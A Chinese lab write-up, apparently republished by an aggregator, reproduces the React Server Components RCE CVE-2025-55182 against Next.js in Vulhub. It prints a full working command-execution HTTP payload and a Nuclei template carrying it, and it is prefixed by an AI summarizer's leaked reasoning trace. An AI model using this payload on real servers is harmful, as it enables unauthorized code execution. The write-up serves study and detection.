Vulhub复现:React Server Components Flight 协议反序列化代码执行(CVE-2025-55182)
嗯,用户让我帮忙总结一下这篇文章的内容,控制在一百个字以内,而且不需要用“文章内容总结”或者“这篇文章”这样的开头。直接写描述就行。 首先,我需要通读一下文章。看起来这篇文章是关于React Server Components中的一个漏洞,影响了几个特定版本的包和依赖它们的框架,比如Next.js。漏洞类型是未授权的远程代码执行,攻击者可以通过构造恶意HTTP请求来利用这个漏洞。 文章还提到了环境搭建的方法,使用Next.js来复现漏洞,并且提供了一个利用脚本的链接。漏洞的原因是反序列化过程中的缺陷,允许攻击者注入特定字段来执行任意代码。 此外,文章还给出了具体的请求示例和Nuclei的YAML配置,用于检测这个漏洞。最后还有一些免责声明,强调遵守法律和道德的重要性。 总结一下,重点包括:React Server Components的漏洞、影响范围、攻击方式、复现方法以及修复建议。同时要控制在100字以内,所以需要简洁明了地表达这些要点。 可能的结构:先点出漏洞名称和影响范围,然后说明攻击方式和危害,最后提到修复建议。这样既全面又简洁。 检查一下字数是否符合要求。确保不超过一百个字,并且信息准确无误。 </think> 本文揭示了React Server Components中存在一个未授权的远程代码执行漏洞(CVE-2025-55182),影响React相关包及Next.js框架。攻击者可通过构造恶意HTTP请求,在服务器上执行任意代码。文章提供了环境搭建方法、漏洞复现步骤及利用脚本,并强调遵守法律法规的重要性。 2026-2-23 13:40:6 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

重要法律与道德声明

  1. 本文仅供合法的安全研究与学习用途。所有操作均在本地或授权授权的靶场环境(如Vulhub的环境)中进行。

  2. 严禁将本文所述技术用于任何未经授权的真实系统、网络或网站。此行为是违法犯罪行为,将面临法律严惩。

  3. 文中涉及的攻击工具仅为展示漏洞危害、理解攻击原理及学习防御手段而使用。请勿将其用于非法目的。

  4. 读者因使用本文技术所造成的任何直接或间接后果,作者及发布平台均不承担责任。

  5. 安全研究的核心目的是提升防御能力,保护网络空间安全。请务必遵守《网络安全法》等相关法律法规,坚守道德底线。

该漏洞影响react-server-dom-webpack、react-server-dom-parcel和react-server-dom-turbopack的19.0到19.2.0版本,以及依赖这些包的框架(如Next.js)。

((react.production.min.js)||React.createElement\())

React Server Components中存在一个未授权的远程代码执行漏洞。攻击者可以向任何Server Function端点发送精心构造的恶意HTTP请求,当React对该请求进行反序列化时,即可在服务器上实现远程代码执行。

环境搭建

虽然这个漏洞是出现于React Server Components中,但Next.js作为最流行的React框架,在Next.js 15版本后已经全面支持React Server Components。因此,我们可以使用Next.js来复现漏洞。

环境启动后,访问http://your-ip:3000即可看到应用程序。

漏洞利用

脚本

https://github.com/ejpir/CVE-2025-55182-poc

复现

该漏洞是由于React Server Components在解码Payload时的缺陷导致的。通过在序列化数据中注入特定字段,攻击者可以遍历原型链并执行任意代码。

发送如下数据包,即可执行命令id:

POST / HTTP/1.1
Host: 192.168.211.128:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 756

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

发送请求后,在响应头的x-action-redirect字段中可以看到id命令的执行结果:

x-action-redirect: /login?a=uid=0(root) gid=0(root) groups=0(root);push

Nuclei的Yaml

id: CVE-2025-55182

info:
  name: React Server Components Flight 协议反序列化代码执行(CVE-2025-55182)
  author: Q_xE
  severity: critical
  description: 反序列化代码执行
  tags: React

requests:
  - method: POST

    path:
      - "{{BaseURL}}/"  #{{BaseURL}} 根目录下也要必须加
  
    headers: 
      Host: "{{Hostname}}"
      Next-Action: "x"
      Content-Type: "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"

    body: |
      ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
      Content-Disposition: form-data; name="0"

      {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": "{\"then\":\"$B1337\"}",
        "_response": {
          "_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
          "_chunks": "$Q2",
          "_formData": {
            "get": "$1:constructor:constructor"
          }
        }
      }
      ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
      Content-Disposition: form-data; name="1"

      "$@0"
      ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
      Content-Disposition: form-data; name="2"

      []
      ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

    matchers:
      # 使用正则匹配整个重定向头
      - type: regex
        part: header
        regex:
          - "/login\\?a=uid=(.*?) gid=(.*?) groups=(.*?);push"

注意:不要加x-action-redirect: ,不然会失败。(我查过AI也不能匹配成功,有知道的师傅可以指导下,Thanks x_x )

regex:
    - "/login\\?a=uid=(.*?) gid=(.*?) groups=(.*?);push"

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/web/471263.html
如有侵权请联系:admin#unsafe.sh